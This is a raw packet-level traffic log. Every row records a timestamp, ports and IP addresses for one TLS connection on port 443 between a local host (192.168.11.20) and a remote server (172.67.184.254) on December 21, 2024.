Dec 21, 2024 19:24:49.514055014 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.514091015 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.514095068 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.514250994 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.514250994 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.514301062 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.514348030 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.515353918 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.515367031 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.515513897 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.515513897 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.515561104 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.515609980 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.515609980 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.515615940 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.515657902 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.516117096 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.516134977 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.516330004 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.516330004 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.516336918 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.516427994 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.517036915 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.517050982 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.517214060 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.517221928 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.517322063 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.517713070 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.517729044 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.517901897 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.517901897 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.517913103 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.517949104 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.517997980 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.518554926 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.518568039 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.518727064 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.518734932 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.518909931 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.519330025 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.519395113 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.519499063 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.519546032 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.519546032 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.519546032 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.519553900 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.519691944 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.519706011 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.519706964 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.519712925 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.519906044 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.519906044 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.519951105 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.520004034 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.520539045 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.520554066 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.520695925 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.520772934 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.520772934 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.520777941 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.521023989 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.521585941 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.521600962 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.521785975 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.521785975 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.521797895 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.521810055 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.521858931 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.521960020 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.522619963 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.522633076 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.522804976 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.522804976 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.522815943 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.522888899 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.522888899 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.522949934 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.522999048 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.523015022 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.523026943 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.523155928 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.523155928 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.523226976 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.523233891 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.523272038 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.523350954 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.523401976 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.523967028 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.523977041 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.524141073 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.524141073 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.524152040 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.524188995 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.524240971 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.524362087 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.524997950 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.525013924 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.525167942 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.525176048 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.525288105 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.525360107 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.525737047 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.525747061 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.525896072 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.525990009 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.525999069 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.526129961 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.526305914 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.526319981 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.526485920 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.526485920 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.526540995 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.526540995 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.526554108 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.526561975 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.526720047 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.527225971 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.527236938 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.527407885 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.527407885 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.527426004 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.527430058 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.527527094 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.527614117 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.528300047 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.528311014 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.528671026 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.528671026 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.528680086 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.528912067 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.529118061 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.529128075 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.529292107 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.529292107 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.529310942 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.529314995 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.529361010 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.529361010 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.529488087 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.529843092 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.529854059 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.530006886 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.530145884 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.530149937 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.530313969 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.530416012 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.530426025 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.530602932 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.530602932 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.530626059 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.530632973 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.530674934 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.530725002 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.530802011 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.531415939 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.531428099 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.531564951 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.531564951 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.531611919 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.531618118 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.531661034 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.531661034 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.531760931 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.532207966 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.532221079 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.532372952 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.532418013 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.532418013 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.532423019 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.532466888 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.532566071 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.533025980 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.533035994 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.533268929 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.533268929 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.533282042 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.533338070 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.533409119 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.533643007 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.533653975 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.533801079 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.533801079 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.533848047 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.533857107 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.533896923 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.533896923 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.533999920 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.534317970 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.534477949 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.534477949 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.534527063 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.534534931 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.534872055 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.534882069 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.535027981 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.535037041 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.535119057 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.535147905 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.535733938 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.535746098 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.535912991 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.535960913 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.535960913 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.535969019 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.536638975 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.536652088 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.536737919 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.536746025 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.536828995 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.536925077 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.537528992 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.537539959 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.537703037 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.537703037 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.537751913 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.537756920 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.537822962 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.538145065 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.538156986 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.538316011 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.538316965 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.538330078 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.538337946 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.538427114 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.538976908 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.538990021 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.539143085 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.539191008 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.539191008 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.539197922 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.539238930 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.539289951 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.539836884 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.539849997 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.540066004 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.540074110 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.540091991 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.540888071 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.540899038 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.541030884 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.541038990 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.541110039 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.541209936 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.541331053 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.541342974 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.541508913 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.541656971 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.541662931 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.542319059 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.542332888 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.542476892 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.542476892 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.542489052 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.542591095 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.543303013 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.543313980 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.543551922 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.543560028 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.543601036 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.544013023 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.544023991 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.544151068 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.544158936 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.544225931 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.544226885 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.544322968 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.544634104 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.544644117 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.544775009 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.544820070 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.544820070 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.544830084 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.544868946 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.544966936 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.545612097 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.545624018 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.545788050 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.545788050 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.545795918 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.545808077 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.545860052 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.545905113 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.546574116 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.546585083 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.546756983 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.546756983 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.546771049 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.546777010 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.546890974 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.548289061 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.548300982 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.548655033 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.548655033 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.548655033 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.548665047 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.548706055 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.548706055 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.549379110 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.549387932 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.549551964 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.549560070 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.549577951 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.549577951 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.549628019 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.549727917 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.550276041 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.550287008 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.550482988 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.550489902 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.550570011 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.551158905 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.551172972 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.551316977 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.551323891 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.551408052 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.551492929 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.551700115 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.551711082 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.551841974 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.551866055 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.551866055 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.551913977 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.551918983 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.552016020 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.552225113 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.552241087 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.552429914 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.552429914 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.552439928 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.552530050 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.552690029 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.552752018 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.552762985 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.552948952 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.552957058 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.552999020 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.553046942 CET	49766	443	192.168.11.20	172.67.184.254
Dec 21, 2024 19:24:49.553220034 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.553235054 CET	443	49766	172.67.184.254	192.168.11.20
Dec 21, 2024 19:24:49.553447008 CET	49766	443	192.168.11.20	172.67.184.254
